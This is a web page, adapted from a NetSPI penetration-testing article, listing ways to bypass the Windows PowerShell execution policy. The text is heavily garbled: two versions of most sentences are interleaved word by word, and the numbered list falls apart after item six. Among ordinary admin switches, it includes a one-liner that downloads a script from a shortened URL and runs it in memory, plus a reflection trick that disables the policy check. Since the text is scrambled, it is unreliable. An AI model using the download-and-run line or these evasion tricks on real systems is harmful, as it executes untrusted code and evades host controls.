Bypass the PowerShell Execution Policy

💻 15 Ways to Bypass the PowerShell Execution Policy

Based on the original byAuthor: Scott Sutherland
Source: (NetSPI)

---

🔎 What is the PowerShell Execution Policy?

PowerShell’sThe execution policy restrictsdetermines scriptwhat type of PowerShell scripts (if any) can run. By default, it's set to Restricted, which blocks all scripts. It's meant to prevent accidental execution, butnot theseas methodsa allowtrue yousecurity control — which is why it’s easy to bypassbypass.

it

💡 withoutWhy needingBypass adminIt?

rights.

PowerShell is native to Windows Can interact with the Windows API Can run in memory (no disk writes) Often trusted by whitelisting tools Used in many open-source pentest frameworks

🔍 View Current Execution Policy

Get-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -AutoSize

🧪 QuickTest MethodsScript withExample

Examples

Write-Host "My voice is my passport, verify me."

---

🚪 15 Ways to Bypass Execution Policy

1. Paste directlyin Interactive Console
   Directly run the script in thePowerShell. console
   PoliciesNo don’tconfig applychanges toor manuallyfile typed commands.writes.
2. Echo & pipe to PowerShell
   

   echo Write-Host "Hi"My \voice is my passport" | powershell -noprofile -
   Executes

   via stdin.
3. Pipe aFile scriptvia fileType/Get-Content
   

   Get-Content script..\runme.ps1 \| powershell -noprofile -
   Reads

   line-by-line

   type as.\runme.ps1 input.| powershell -noprofile -

4. Download and+ execute in memoryInvoke-Expression
   

   powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL'https://bit.ly/1kEgbuH')"
   No

   file written to disk.
5. Use -Command argumentSwitch
   

   powershell -command "Write-Host 'Bypass'Hello'"
   Executes

   inline commands.
6. Use -EncodedCommand
   

   $cmd = "Write-Host 'Hello'"
   $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
   [Convert]::ToBase64String($bytes)

   Then run with:
   powershell -EncodedCommand argument<base64>

Invoke-Command

Invoke-Command -ScriptBlock {Write-Host "Hello"}

Base64-encodedCan stringalso passedpull directlypolicy tofrom PowerShell.a remote host:

Invoke-Command -ComputerName server -ScriptBlock {Get-ExecutionPolicy} | Set-ExecutionPolicy -Force

Invoke-Expression (iex)

Get-Content .\runme.ps1 | Invoke-Expression

or

gc .\runme.ps1 | iex

Use -ExecutionPolicy Bypass

powershell -ExecutionPolicy Bypass -File .\runme.ps1

Use -ExecutionPolicy Unrestricted

powershell -ExecutionPolicy UnRestricted -File .\runme.ps1

Use -ExecutionPolicy RemoteSigned

powershell -ExecutionPolicy RemoteSigned -File .\runme.ps1

Swap AuthorizationManager (Temporary)

function Disable-ExecutionPolicy {
  ($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue(
  $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue(
  $ctx, (New-Object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy

Set executionPolicy policyfor in sessionProcess

Set-ExecutionPolicy Bypass -Scope Process

Only affectsfor currentthis session. UseSet PowerShellPolicy ISEfor Current User

powershell_ise.exeSet-ExecutionPolicy script.ps1-Scope CurrentUser -ExecutionPolicy UnRestricted
Sometimes

bypasses policy. RenameEdit scriptRegistry tofor .txtCurrent User
Read and

Modify:

runHKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
manually;

Add/modify avoidsstring .ps1value enforcement.

ExecutionPolicy WMI= execution
RunsUnrestricted PowerShell remotely via Win32_Process. Scheduled task
Create task to run your script. PowerShell remoting
Executes on remote systems; local policy may not apply. Inject via DLL (advanced)
Loads PowerShell engine directly in memory. Invoke from MSHTA or wscript
Uses alternate script hosts to trigger PowerShell. Use trusted software to execute
Hijack or abuse applications that run PowerShell under the hood.

---

---

✅ Wrap Up

Note:PowerShell’s Theseexecution methodspolicy areis a soft restriction — not a security boundary. Microsoft even provides native ways to bypass it. Use these techniques for legitimate use only — such as automation, testing, and redadministration.

teaming

Adapted from NetSPI — whereoriginal authorized.blog post